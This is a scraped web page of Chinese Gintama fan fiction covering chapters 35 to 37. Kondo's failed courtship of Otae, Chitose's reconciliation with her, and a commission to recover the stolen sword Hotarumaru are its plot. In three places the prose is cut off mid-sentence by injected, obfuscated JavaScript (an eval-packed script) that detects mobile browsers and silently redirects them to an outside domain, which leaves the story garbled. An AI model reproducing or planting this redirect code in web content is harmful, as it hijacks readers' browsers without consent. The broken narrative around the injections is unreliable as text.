「一般来说我倒是没意见,不过毕竟在店里,可能会让其他客人误会这是什么不正经的场所,所以…NG」她伸出食指在面前交叉成「X」型,语气中带着一丝为难。 这种刻意卖萌的说话方式,很有陪酒女的味道了。 自从上次他们来店里找她那次开始,千茶就隐约察觉到冲田似乎特别热衷于和她演这种小剧场。 就像现在,他听完她的回答后,饶有兴致地打量着她,嘴角勾起一抹意味深长的笑意。 「所以说你这是在邀请我去你家吗?」 「别那么心急嘛,一般不是该先约人家去吃宵夜的吗?」千茶也不服输地摆出一副被调戏的娇羞姿态。 被晾在一旁的土方板起脸,默默听着这两人的对话。内容就像家庭主妇剧场里的婚外情戏码似的,而且对话的尺度还越来越大。 「够了!」土方终于也听不下去,从沙发上站起来,硬挤到他们之间「你两个给我分开。」 他有时候也真的搞不懂他们,明明都是成年人了,却总喜欢玩这种过家家似的游戏。 「我们只是在玩超真实扮家家酒而已,怎么了吗,土方先生?」冲田用一贯带着轻蔑的语气说着「要是你也想加入的话,我们也可以给你安排一个角色,对吧茶茶?」 「好喔~」千茶回应得得干脆。 「那么…土方先生就演茶茶出国的白月光吧,一直察觉不到少女的暗恋,等到久别重逢时才发现对方已有新欢,可惜为时已晚,就在他想和新欢公平竞争时,他便因为烟抽太多肺癌死掉了。」 「为什么你们的设定总是这么狗血啊!」土方大声抗议着「再说了,谁会因为抽烟就得肺癌的...」他下意识掏出烟盒,但看见烟盒上的提醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940217|177320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字句,动作又有一瞬的停顿。 「那么既然土方先生不喜欢这个设定,那么就换一个吧。」冲田又继续提议。 「哦?」 「宠物犬。」冲田说着,不知从哪里掏出了一个人类尺寸的颈圈,递了上去「戴上吧,土方先生。」 「我要杀了你。」 土方站起来,作势要掐冲田的脖子,但被他及时用双手挡住。两人就这僵持不下,而千茶看着这场闹剧,不但没打算劝阻,还吹起了口哨煽风点火。 直到耳机里再次传来近藤的声音,千茶立即将食指抵在唇上,向两人做了个「嘘…」的手势。 「回来回来,勋同学说话了。」她说。 土方和冲田互看一眼,随即同时放开了对方。 土方整理着袖口,学着千茶的样子,把头转向近藤和阿妙所在的卡座方向。 「你到底要喊他勋同学喊到什么时候?」 话音刚落,冲田便学着千茶刚才的动作,摆出相同的姿势说「嘘,土方先生。」 他真想把这两个小恶魔全都轰出去。 「对了,阿妙小姐最近有去过新开的那家洋食屋吗?」近藤突然想起,赶紧拿来当作新话题。 「还没去过呢。我也听说那里的咖哩饭很有名。」 近藤点头表示同意「是啊,他们的咖哩确实不错。我和茶茶也去吃过一次,难怪那么多人排队呢。」 当那个笨蛋毫不自觉地说出这句话时,三人脑海里同时闪过一个念头… 糟糕了。 只有无可救药的傻瓜,才会在和喜欢的人聊天时,若无其事地提起和别的女生单独出去的事。 阿妙脸上依旧挂着笑容,但周围的空气却冷了下来。 近藤浑然不觉地继续说「茶茶说那里的雪糕芭菲是用哈根〇斯的雪糕做的,阿妙小姐你一定会喜欢的。」 阿妙的笑容变得僵硬,她轻轻放下手中的酒杯。 她没想到近藤会这么自然地提起和千茶的约会。既然跟她在一起时,心里想的都是别人,那他来指名她到底是为了什么? 难道他是想在分手后炫耀新女友给前女友看的渣男吗? 真遗憾呢,她和大猩猩可没半点关系。 「是吗……那还真让人很想尝尝呢。」心里虽有不忿,良好的职业道德仍让她顺着话题聊下去。 近藤终于察觉到气氛不对劲,以为阿妙对自己的话没兴趣,急忙转换了话题。 「说起来,最近道场那边怎么样?我听说你们在翻新?」 「嗯,最近在和新八他们一起修理道场呢。虽然只是些小工程,但希望能为学生们营造更好的练习环境。」 「用我也去帮忙吗?」 阿妙轻轻摇了摇头「谢谢你的好意,不过这些小事我和新八就能处理。」 说完,她想起冲田和土方刚才也来找千茶喝酒。她下意识朝他们的方向望去,却发现千茶正偷偷盯着他们,被她发现后立刻转过头去,活像个偷看男友与前女友见面,然后暗自神伤的小女生。 她以前还觉得近藤是个好人,甚至认为他和茶茶若能发展也不错,但现在看来,她果然是高估了这个男人。 此时的近藤和阿妙一样,心里都在想着千茶的事,只是他们的方向略有不同。 阿妙拒绝了他的帮忙。 照千茶所说,这种时候与其步步进逼,不如给对方一些喘息的空间。 但在近藤的观念里,女人都喜欢被追求的,他担心自己若在这时退缩,反而会让她感到被冷落而觉得不安。 『说话啊,近藤先生。』土方的声音从耳边响起,让近藤稍微回过神。 「那么,要是有什么需要帮忙的地方,随时可以找我。」近藤轻声说道,语气中带着一丝小心翼翼。 听见他终于说出这句正常的话,背后的军师们不禁松了一口气。 殊不知这句话正正踩中了阿妙的地雷。 35. 男人和蔬菜一样,都是新鲜的好 到底问题出在哪裏? 不但近藤本人,背后的军师们都在想着一样的问题。 这个以退爲进的策略本应是无可挑剔的,但以阿妙现在的反应看来,在她身上完全行不通。 Smile地角落,千茶和土方认真地复着盘,再怎推敲也觉得不该出错。 「我说,近藤先生最大的错误,就是找了两个恋爱经验为0的人来教他怎麽谈恋爱。」冲田慢条斯理地嚼着刚送来的刺身,一语道出问题的症结所在。 没有恋爱经验的人,又怎能给出有用的恋爱建议呢? 二人面面相觑,却难以反驳。 土方一直不觉得缺乏感情经验是什麽见不得人的事,但被千茶多次打趣后,他也渐渐开始在意起来。 现在被冲田刻意指出这一点,更显得他为近藤先生出谋划策是多麽不自量力。 为了捍卫他的尊严,还是得反驳一下。 「……少说废话,我也有跟女孩子约会过。」土方说着,吐出一口烟,神情中带着几分对过去的怀缅。 话是这样说,但此时在他脑海中浮现的,却是穿着一身蛋黄酱玩偶装,站在镜子前练习在句尾加『MAYO~』的自己。 虽然那次并非出于他的意愿,最后还以一个极不体面的方式,滑稽地退场……但终究也算是一次约会。 土方的胸有成竹让千茶有些动摇。 她一直取笑他是个CherryBoy、迟早会成为魔法师,要是被他发现她在感情方面也是个白纸一张,肯定会被他反过来嘲笑。 于是,她不甘示弱,开始吹嘘起来。 「哦……原来只是约会的程度而已啊,我可是有过两个前任呢。」 前任未婚夫应该也算是前任吧?虽然没有正式的文书,但他们都说过要娶她,这样总该算是前任吧? 「虽说只是约会,但当时我们也是以交往为前提才出去的。」土方信心满满地补充。 对方也许是以交往为前提,但在他看来更像是以劝退对方为前提。 「我和我的前任们当时也是到谈婚论嫁的阶段了。」千茶说着,眼睛也不眨一下。 嘛…他们毕竟是婚约者嘛,这样说也没不妥。 可恶,要是以这种形式比较的话,他可是毫无优势。 土方察觉到自己在进度上略逊一筹,正思考着该如何超越她的「谈婚论嫁」时,他突然意识到当中有些不对劲。 「不可能!」他下意识地反驳道「你才多大?怎麽可能有两段都谈到婚嫁的关係?」 「有什麽不可能的?现在闪婚的人多得很。」千茶说着,挑衅似地挑了挑眉「土方先生该不会是那种觉得一定要谈个十年八年才能结婚的老古板吧?」 被说中的土方嘴角抽动了一下,沉默片刻后才像是妥协般开口。 「至少也得谈两三年恋爱,见过双方父母,再同居一年,确认能接受对方的生活习惯,才能开始考虑结婚的事吧?」 「土方先生这是在思考自己能退让到什麽地步吗?」冲田问。 「不过,我想不会有人那麽没眼光,想和一个三餐只吃狗粮的异食癖结婚的,你完全不用担心。」 他的安慰怎听都不像是在安慰。 「再吵我就杀了你。」土方吼著冲田,这才注意到另一边的千茶正半眯着眼睛,意味深长地打量着自己。 「像你这种老古板竟然会贊成婚前同居……」她的语气中带着一丝淡淡的惊讶。 「说谁是老古板呢,明明就是你这个人太过轻浮!」 一连串的短信音效从千茶的手机响起,送水果盘来的黑服提醒了一句。她无视了土方再次对她恋爱观的批评,以及其后的碎碎念,自顾自地从口袋拿出手机看起来。 一打开手机,映入眼帘的就是近藤发来的求助短信。 :你还在吗 :我应该说些什麽? :还是我再开一瓶香檳? :水果盘的抽成怎样? 千茶悄悄地往他的方向瞄了一眼, 近藤紧张地等着她的回复,并没注意到旁边的阿妙一直在盯着他的一举一动。 千茶拿起通话设备,凑到嘴边,特意叮嘱「和她说说你最近在做什麽,这次别提起其他女孩子。」 近藤不动声色地点点头,然后就在军师们的注视下,说出一句… 「对了,我前段时间向茶茶请教了茶道,要是阿妙小姐你…」 近藤话还没说完,就被一记重拳打断了。 「啊啦,近藤先生,你今天喝太多了呢,小心会头晕的。」 确实,头会很晕。 阿妙挥完这一拳,才后知后觉自己下手好像重了一点,但她也确实忍不下去。 她最厌恶的,就是那种玩弄女孩子感情的坏男人。 「原来你这阵子忙着学茶道呢,真好呢,有时间培养自己的兴趣也不错和喜、欢、的、人、一、起。」阿妙皮笑肉不笑地回道。 近藤隐约感受到她声音里的寒意,但他依然懵懂地带着一丝希望看向她。 「那阿妙小姐你即是答应和我来一场品茶的约会了吗?」 真是…蠢死了。 明明叮嘱他别提起别的女孩子,结果他竟然直接说出她的名字……就算平时他和她相处时毫无性别意识,也不该迟钝到连她的生理性别也是女生这一点都完全忽略吧?! 亏他还是特别武装警察部队的局长。 江户,很快就要完蛋了。 「我可以去揍他一顿吗?」千茶咬牙切齿地向土方徵求许可「这个笨蛋完全在浪费本小姐的宝贵时间。」 土方迅速搂住她的肩膀,用力按住这个正要从沙发上跳起来的人。 「不行,后天还有行动,你再忍几天吧。」他劝说道,心里暗自希望近藤接下来能表现得好一点。 她没想到,在这里也会让她体会到辅导小孩写数学作业时的那种无力感和恐惧。 千茶重重地叹了口气,抬眼瞄向土方。 「怎麽了?」 注意到身边人的视线,他有些不自然地想别过脸避开。 她原本没打算佔他便宜,但每当看见他主动与自己有身体接触,却又莫名拘谨起来的样子,千茶就觉得很有意思。 于是,一個把持不住,她就想去逗逗他,就像现在… 「土方先生,我脑袋好痛,会不会是伤口要裂开了?你帮我看看。」她说着,脱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她用力得像要把手肘揉进他的筋骨里。 一阵痠麻感从腿筋传来,他的脸色瞬间变得惨白,立刻弯下腰摀着大腿。他想破口大骂,却被那种痠软感夺去了说话的力气。 目睹这一切的冲田立即敛起笑容,但最后他还是难逃一劫。 这场闹剧随着指明时间的结束而告终,土方和冲田各自拐着半边腿,一起扶着石化的近藤离开Smile。 店长看着警队高层们蹒跚离开时,一度以为自己的店要完了。 这段日子以来,店里的谣言他都略有耳闻。他在这个圈子打滚多年,本就预料到千茶復工后,店里的势力分佈会重新洗牌,却没想到这两个女孩子会把那些明争暗斗延伸到顾客的面前。 真选组离开后,千茶和阿妙都没有继续留在大厅,而是相继回到了休息室。 她们分别坐在自己的座位前,沉默不语,心裏却不约而同地有着相同的想法。 「抱歉。」 「对不起。」 36. 女人都不一定喜欢霸道总裁 下班后,阿妙带着千茶来到附近一家她常去的居酒屋。 两个女孩子一边小酌,一边聊着近来发生的事。 像是弟弟太过沉迷追星,担心他无法回归现实;还有「妹妹」最近进入青春期,渐渐和姐姐疏远,愈发寡言。 同样身为独自扶养弟弟们长大的长姐,每逢聊起这些家庭琐事,她们都会别有感触。 聊着聊着,话题越扯越远,就连电视上的明星八卦,她们也会搭上几句,唯独对刚才在店里发生的事只字不提。 直到酒过数巡,夜色渐深,也想着是时候该把那件事跟对方说个明白。 浅井千茶虽然是个喜欢装死和逃跑的坏女人,可她从来都不会拖泥带水,也不会羞于表露心意。 喜欢就是喜欢,讨厌就是讨厌。 「我和近藤先生只是朋友而已。」 「我和那只大猩猩一点关系都没有。」 两道声音同时响起,四目相对,只见对方眼中尽是坦然,瞬间让她们卸下心中的重担。 「太好了…」阿妙松了口气,随即掩着嘴轻笑起来。 亏她刚才还在担心,要是茶茶误会了她和近藤的关系而疏远她,该怎么解释才好。 她才不要因为一个无关紧要的男人,而和朋友产生嫌隙。 「那么刚才…」 虽然千茶说得斩钉截铁,但刚才她的举动确实有些反常。 如果她不喜欢近藤,为什么要躲在暗处观察他们?还有土方和冲田一直在旁边安慰她,这又该怎么解释? 在阿妙的追问下,千茶终于把这段时间发生的事,跟她说了个清楚,包括: 她和近藤之间,从来就没有任何男女间的情愫要萌芽,她只是某次在近藤面前嘴炮了几句,结果就被他拉去当恋爱顾问。但这个扶不起的阿斗,即使经过一个月的特训,依然毫无长进,反而引起了不必要的误会。 至于冲田和土方所谓的「小声安慰」,其实是她和冲田又找到机会,凑到一起去闹土方。 看着千茶那张带着歉意的脸,阿妙不但觉得轻松起来,甚至有心思打趣她。 「我还以为茶茶你会是个更稳当的人呢。」 她扯了扯嘴角,低头晃一下酒杯里的威士忌,一时语塞。 说实话,当阿妙怒气冲冲地站起来、对近藤说着狠话的那一刻,她最先担心的不是那个笨蛋有多不争气,而是害怕这会破坏她和阿妙的友情。 无论是被她误会自己跟她的追求者有暧昧,还是让她知道自己在帮那个跟踪狂追求她,这两个情况都是红牌。 红牌是会被请离场的。 她和阿妙的交情本就不算久,现在又瞒着她弄了这么一个全盘失败的计划,她实在没有把握能获得对方的原谅。 「对不起。明知道你不喜欢他,我却为了一时的乐子,陪着他做了那么多无谓的事。」 做错事就要道歉。 千茶说着,轻垂眼帘,视线落在酒杯里的冰块上。 与千茶的阴沈不同,阿妙反倒爽朗地笑着开口「话是这样说,但让他别再整天绕着我转,不也是茶茶你的主意的吗?」 千茶抬起头来,直视着阿妙的双眼,轻轻点了点头。 阿妙过去也曾对他做出一些比较过火的举动,试图逼迫他停止跟踪,但都没有效果,没想到这次反而被千茶成功劝退了。 「你帮了我很大的忙,谢谢你。」阿妙说,语气带着出乎她意料的真挚。 「小妙…」 「我对那只大猩猩…与其说是讨厌,不如说我无法接受他的跟踪行为。」阿妙说着,眼神在酒精的影响下逐渐失焦,最终重重叹了口气。 有时候,她路过后巷,也会在转角处不经意地瞄到那个高大的身影,不动声色地驱赶那些试图骚扰她的醉汉。 那个笨拙的男人一直都在用他的方式守护着她。 然而对她来说,需要的并非这种形式的守护, 「我明白他不是坏人,也知道他是担心我的安全,才一直守在附近,但这种行为还是让我感到…很不自在。」 作为武家的女儿,她也有着自己的尊严。 近藤虽然出于好意,但不被尊重的憋屈,实在让人难以释怀。 这种别扭的感觉,千茶是最理解不过了。 「我明白。」她点点头,停顿了一下。 「不过,我倒觉得他纯粹是控制不了对你的迷恋而已。」说着,千茶从手机打开一段影片,递给阿妙看。 「这是没有跟踪阿妙小姐的第一周,我觉得浑身都不自在,简直就像失去了生活的重心一样。每天早上醒来第一件事就是想着阿妙小姐会去哪里,现在我完全没有方向…我不是在说我还要继续跟踪,只是突然改变习惯真的很难受...」影片里的近藤一脸苦恼地对着镜头说道。 画面跳转到另一个场景,但中间的人物依然是近藤。 「这是没有跟踪阿妙小姐的第二周,我已经开始习惯这种新的生活方式了。虽然还是会不自觉地想着阿妙小姐,但我知道这样对她更好。土方和茶茶老师都说,如果我真的在乎她,就该学会用正确的方式表达。」近藤哭着丧脸,说话也有些哽咽「但我真的很想见阿妙小姐。」 影片结束后,千茶收回手机,打开了一个放满类似影片缩图的页面给阿妙看。 「刚才的影片我还有二十多条,我都发给你吧。要是那天钱不够的话,还可以拿去卖给传媒。」 阿妙似是没料到她会这样说,忍不住笑了出来,点着头答应了。 在传送档案的期间,千茶又替阿妙把酒杯斟满。 「人与人之间的感情本来就很复杂,既没有纯粹的喜欢,也没有纯粹的厌恶。有些人喜欢利用刻板印象,硬要把这些复杂的感情划分开来,然后再去互相攀比、指责…但我不喜欢这样。」千茶说着,晃了晃酒杯,让融化的冰液和酒精充分结合,然后把里面的酒液都灌进喉咙。 她放下杯子,又给自己添了酒。 「人生已经够累了,只要弄清楚自己的心意就好。至于名分和地位这些,想要更进一步时,就顺其自然不就好了吗?」说完,她朝阿妙眨眨眼睛。 「顺其自然吗?」阿妙喃喃道,恍惚了几秒,意会后轻轻笑了笑「也是,只要弄清楚自己的心意就好。」 两人喝到深夜,眼见阿妙醉得厉害,千茶便先扶着她回家。 碰碰撞撞的声响把新八吵醒了,他连忙起身去应门。 「真是麻烦你了,茶茶小姐。」他从千茶手上接过姐姐,并向千茶道歉。 「没事的,你先带她去休息吧。」千茶轻声说道。在小孩面前,她自然地换上了平日那副得体的营业笑容。 「我这就回去了。」她说。 新八瞥了眼玄关的时钟,觉得这个时间点让她独自回去恐怕不太安全。他打算先把姐姐扶回房间,再送千茶一程。 但还没来得及开口挽留,大门就已经关上了。 「你在干什么?」 女声响起时,土方十四郎的脖子忽然感受到一阵冰凉卻柔软的触感, 他被突如其来的恶作剧吓得手中的香烟掉落在地。转过头一看,发现原本应该在志村家的千茶此刻就站在他身旁。 剛才的大概是她的手。 他本来是睡不着想着抽支烟,却发现自己的烟盒空了,而房间里的备用烟都没了,这才冒着寒风出门买烟。 却沒料到会意外碰上从居酒屋回去的两个女孩子,一时放心不下便跟在他们身后了。 「看来真选组全員都 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「小妙嗎?我们约好了夏天的时候一起带小孩去沙滩玩。」千茶兴致勃勃地分享着。 「谁问你这个了!」 土方隐约感受到她缠在他小臂的手悄悄收紧,随着风势变大,她又往他身后躲了躲。 「小妙她其实一直都明白,近藤先生当跟踪狂,除了是想多接近她,更是想保护她。」千茶说道,她的声音在狂风中显得飘渺不定。 「单凭局长喜欢的女人这个身份,就已经让她被不少人盯上了吧?」 虽然土方也没去求证过,但他也深信近藤先生不会只为了一己私欲而做出如此荒唐的事。 近藤身居高位,却不懂得掩饰内心的想法,因此当他表露出对阿妙的爱慕之情时,反而为她带来了危险。 他是个跟踪狂变态,这一点无法辩解,但不得不承认,他某些行为确实是为了保护她。 人心是极为复杂的,无法单凭一个行为或价值观就轻易判断一个人。 千茶当初会答应帮忙,大概是看穿了阿妙心底并非真的厌恶这个人,所以才愿意教近藤如何追求她。 所以千茶对近藤的态度,其实和阿妙一样。 除了厌恶或反感,更是掺进一丝欣赏与感激的复杂感情。 土方无法否认千茶的推断,只是轻轻哼了一声。 同时却感受到心底某处,突然涌现一阵不知名的钝痛。 真选组捍卫幕府、保护市民,却又让喜欢的人陷入危险。 他们做的这一切,到底是否值得? 此时,千茶的电话突然响起,她掏出手机,低头看了一眼来电显示后,便松开了挽着土方的手。 「我想喝红豆汤,帮我买一罐吧~」她说着,指着远处的贩卖机。 他知道她是想支开他好接电话,倒也没像平常一样死命拒绝,只是一边嘟囔着就往贩卖机走去。 千茶站在原地按下接听键,把手机凑到耳边。 「怎么了?」 『大人,这个时间打扰到您非常抱歉!』 「没事。说正事吧。」 『那个…蛍丸不见了。』 不一会儿,土方就带着一罐热红豆汤回来了,发现千茶早已結束通話,正呆呆地盯着自己的脸。 「干嘛一直盯着我看?」土方挑起眉,递过罐装饮品「不是说要喝红豆汤吗?」 千茶愣了一下,接过手中温热的红豆汤。 「出什么事了吗?」 「没什么。」 只有傻子才会在废刀令之下,向警察报告遗失了一把妖刀,还是失传已久的那种。 37. 喜欢的东西会留到最后才吃,还是第一口就吃…… 坂田银时睁开眼,映入眼帘的是一双湖水色的漂亮眼眸。他揉揉尚未完全睁开的眼睛,待看清那张面容后,猛地坐起身来,不断后退,直到背部抵上了牆壁。 本伏在他床榻边的千茶,也从榻榻米上坐直身子,整理起自己压乱的衣服。 「你为什麽会在这里?」 银时警戒地扫视房间,确认这确实是自己家后,立刻低头检查身上的衣物是否完好。 确认一切正常后,他才稍微放松下来,但仍保持着双手交叉护胸的防备姿势。 「你想对大家的阿银做什麽?」 无论是动作、语气,还是台词,都像个老式少女漫画的主人公。 虽然这反应正中千茶下怀,但亲眼看着还是让人忍俊不禁。 「没人告诉过你吗?盯着别人刚睡醒的脸就笑,是很没礼貌的行为。」他皱着眉头,后面的话渐渐变成小声的嘀咕「悄悄地潜入在别人房间,肯定是搞什麽恶作剧吧。幸好阿银睡觉时也有警戒心,不然脸上铁定会被你画上马克笔...」 话才刚说完,一支黑色的马克笔便从千茶的袖中掉了出来,银时的目光立刻被吸引过去。 「啊啦,我一直在化妆包找不到眉笔,原来是放在这里呢。」 千茶无辜地眨眨眼睛,将马克笔收回袖中。 「少骗人了!谁会把马克笔当眉笔用啊!?况且你明明是金发,就算让定春来挑也不会选这种颜色!」 面对着他的咄咄逼人,千茶丝毫不见不耐烦,反而用怜悯的眼神打量着他「银时先生,疑心太重的话心裏会生病的,要不我介绍个医生给你去看一下?」 「你才要看医生吧!」 吼完,银时揉着太阳穴,宿醉的头痛因刚才的大声嚷嚷而加剧。 她似乎察觉到他的不适,撑着榻榻米将身体向他倾前「没事吧?」 「有点宿醉。」他揉了揉一头杂乱的卷发,重重叹气。 千茶也深知宿醉的苦楚,不再似平日般步步进迫,探向前的身体也退了回去。 银时维持着这个姿势许久,一时的沉默让他感到有些不太自在。他偷偷眯眼瞄向千茶,只见她正静静地打量着他的房间。 平常的话,她大概从一开始就会鑽进他的被子里,等他醒来后就说些暧昧的话,趁他内心动摇时,再干些什麽来破坏他瞬间的心动。 可是,这天的千茶却始终没有对他下手。 总觉得有什麽不对劲。 「银桑!」 听见银时的声音,新八确认他已经醒来,便安心地拉开纸门,捧着一叠洗好的衣服进来,默默地为他整理衣橱。 「客人都来了,你还躺在这里睡觉,成什麽样子?快点收拾好出来!」 新八一边唠叨着,一边继续整理着衣物,就像个週末早上催促孩子去应酬到访亲戚的父母。 「麻烦你了茶茶小姐,还让你来叫银桑起床。」 「没什麽。」千茶摆摆手,站起身来,准备跟着整理完衣橱的新八回到客厅。 银时把那些莫名的预感暂时抛诸脑后,挠了挠头,理所当然地认为新八口中的客人就是千茶, 「又是让我去带小孩吗?」他问。 千茶摇摇头「这次的客人不是我哦。」 就在银时感到疑惑之际,纸门后走来了一个许久不见的人。 「正确来说,是我有委托,她只是陪我来的而已。」 坂田银时梳洗完毕走出来时,看见陆奥和千茶坐在沙发的一侧,神乐和新八则坐在另一侧,他们正一边闲聊,一边享用着千茶带来的蛋糕。 「真是稀客呢。」银时瞥了陆奥一眼,转头寻找坂本辰马,却始终不见其踪影。 他印象中每次陆奥来找他,几乎都是因为坂本辰马惹了事,或是丢下快缓队的工作,一个人跑去吃喝玩乐。 「那傢伙呢?该不会又搞出什麽麻烦了吧?」 「不,这次和他无关。」陆奥一边嚼着草莓,一边抬头看了银时一眼「这次是我私人的委託。」 银时拿起桌上留给他的蛋糕,正要绕到神乐身旁坐下,已经吃完的陆奥就从怀里掏出一叠照片,递了过来。 「喂,至少让我吃上一口再说这种扫兴的事啊,真是的。」坂田银时抱怨着,却还是把照片接了过去。 这一叠照片全都是刀,更准确地说,是脇差。 它比一般的打刀要短一些。 雪白的刀柄配上刻满细緻花纹的淡蓝色刀鞘,在几张夜晚拍摄的照片中,流畅的剑身在月光下泛着隐约的青光。 「这把刀叫萤丸,是我两年前在其他星球的拍卖会上买下的。它前段时间一直寄存在江户的一家厨具店里,直到两天前被人偷走了。」 新八和神乐凑过来观看照片。虽然他们对刀具不太熟悉,新八却觉得这个名字有点耳熟。 「萤丸……好像在哪里听过这个名字。」 陆奥看向装作一无所知的千茶,轻轻叹了口气。 萤丸是两年前陆奥送给千茶的礼物。 当时千茶的师父刚过世不久,他死在千茶的刀下,从那以后她就再也没碰过那把刀。儘管千茶从未提起此事,但擂台上的观众们却私下议论纷纷。 自从那场对决后,白天狗上场时用的都是师傅赤天狗的刀。 有人说她是纪念故人,有人说她是耀武扬威,不过她本人向来都不太在意那些流言。 只不过由于鞍马的身型比她高大许多,他的刀对千茶来说过于沉重,难以灵活掌握,每次使用都比平常消耗更多力气。 于是,后来千茶和陆奥见面时,曾经半开玩笑地央求陆奥替她寻找一把妖刀来过过瘾。 陆奥当时并没有答应她,毕竟「妖刀」这个名字怎麽听都不是什麽好东西。更何况在千茶经历丧师之痛后,若是遇上什麽会蛊惑人心智的东西就更加危险了。 话虽如此,陆奥最后还是拉着坂本辰马走遍了银河系几个知名的武器拍卖会。 她深知这个女孩虽然表面上对什麽都漫不经心,但实际上却相当偏执,与其让她自己乱来,倒不如由陆奥亲自挑选一把合适的「妖刀」。 最后,在陆奥的精挑细选后,寻得了萤丸。 而萤丸,自此便成为了白天狗在擂台上的主刀。 千茶非常爱惜着这柄刀,甚至将坂本送的漂亮刀鞘从哥哥的刀上取下,换到萤丸上。 当时可没被他们少取笑她贪新忘旧。 直到她决定淡出擂台、回归正常生活时,才将它收了起来。 而就在前几天,陆奥正和坂本辰马在地球附近的一颗小星球谈生意,突然就接到千茶打来的电话。她在电话里委屈巴巴地告诉陆奥,有人偷走了她送给自己的刀。 这完全就像个被人欺负后,要找闺蜜来替自己撑腰的小女孩。 如果陆奥不那麽了解浅井千茶的话。 浅井千茶绝不是任人欺负的性格,若真有哪个不知死活的傢伙敢这麽做,恐怕太阳还没升起就会遭到双倍报应。 除非…她正在暗中计划些什麽。 因此,陆奥起初只认为千茶是碍于身分不便,才想找她出面帮忙处理事情,就像她一贯那样。 直至千茶提到前段时间有人冒用了她白天狗aka牛若丸的身分,在江户招兵买马,甚至还设局伤了桂小太郎… 这麽一来,偷刀的人很可能就是那群冒充她身分的人。 白天狗是在擂台崩塌意外中丧生的,这已经过幕府官方文件正式确认。因此,除了她本人和某些相关人士以外,不该有人知道白天狗还活着,更遑论她的佩刀藏在何处。 这一连串的事件彷彿是明显是冲着她、应该说真正的白天狗而来的。 陆奥将手上的工作交託给一个能干的下属,向坂本辰马简单交代后,便赶往了地球。 见千茶对新八的提问没有回应的意思,陆奥便接着解释。 「萤丸是鎌仓时代一个名匠铸造的太刀。它曾经有一个传说,是…」 「等等。」正在翻看照片的银时一听到太刀两字,立刻打断道。 「这把刀怎麽看都不像是太刀吧!就算说是打刀也不够长啊!」 萤丸确实比一般的打刀短许多,长度仅约60釐米,要是太刀的话,至少得长一倍。 「这把刀曾经在战场上受过重创,虽然后来修补过,但还是因老化而有裂痕。我买下之后便直接找人将它改短了。」陆奥说。 萤丸、鎌仓时代、战场、太刀… 听完陆奥的解释,银时也开始觉得这个名字有些熟悉。他在脑海中搜索了片刻,零零碎碎的记忆逐渐浮现。 「啊!就是那个…主人在战场上梦见萤火虫围绕在他断裂的刀身上,等他醒来后发现刀居然奇蹟般地恢復如初的那把刀!因为是萤火虫,所以才叫的萤丸!」 「正是。」 「等等,这种名刀怎麽会出现在其他星球的拍卖会上?不是应该好好收藏在哪个博物馆里吗?」新八忍不住问道。 「啧、啧、啧。」一直没说话的神乐摇摇头。 「新八,你太天真了。不管在哪个星球,只要有钱,什麽东西都买得到。」她边说边把拇指和食指圈成一个金钱的手势。 在她旁边的银时也认同地点着头。 「所以说现在最重要的,是这把刀...」他把手背放在嘴侧,四处打量了一下,像是在确认周围有没有其他人,随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940220|177320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后摆出一副八卦的嘴脸凑向前。 「到底值几钱?」 陆奥沉默片刻,众人的视线都投向她,等待着答复。 这个问题连千茶也从未认真思考过,也好奇地望向陆奥。 「我…忘记了。」陆奥说,但脸上流露出的一丝不自然明显在告诉大家她在撒谎。 确实的金额她已经记不清了,但可以肯定的是,她的刀怎说也是比起坂本辰马送的刀鞘要贵...那麽一点点。 她无视众人质疑的目光,抬手轻咳一声。 「总之,我这次想委託你们帮我找回这把刀。」 「不过,找丢失物品的话报警不是更快吗?」新八才刚说完,立即也想通了答案「难道说这把刀的来历其实…」 陆奥再次避开了他的问题,直接转头和千茶说话。 「这家蛋糕挺好吃的,我想买点回去当伴手礼。」 「好啊,我等一下带你过去。」 她的默认让万事屋三人顿时陷入沉默,看来这把刀当中确实藏着什麽不可告人的秘密,更是不能让警察知道。 在这个略带严肃的气氛中,千茶依然和陆奥谈论着蛋糕店的事。 她对蛋糕的描述让银时也开始馋了起来,他转头看向那位从刚才开始就一直没参与对话的人。 「我说,你来这里到底是为了什麽?」 「嘛…寄放的店是我介绍的,所以在这件事上我也该负点责任。」千茶说着,放下手里的空盘子,掏出一个塞得满满的信封,递给了离她最近的神乐。 「你们只要帮我…我们时刻留意着消息就行了,找到它的下落就告诉我们,后续的事会有其他人处理,不用你们出手也…」 神乐看着厚厚一叠的信封,眼睛马上亮了起来,连千茶的话也没听上多少。 「喂,别被她们骗了,先看看里面有多少!」银时喊道,他上次就是被陆奥用面值低的纸钞骗过。 神乐点点头,小心翼翼地把里面的纸钞倒了出来。 厚厚的一叠,全部都是万元大钞。 「小银!我们万事屋这次要发起来了吗?」她随即兴奋地叫道「呜哇,茶茶姐姐真好,每次出手都那麽大方。」 看着神乐手中的巨款,刚才还一脸被吵醒、无精打采的银时,瞬间也来了精神。 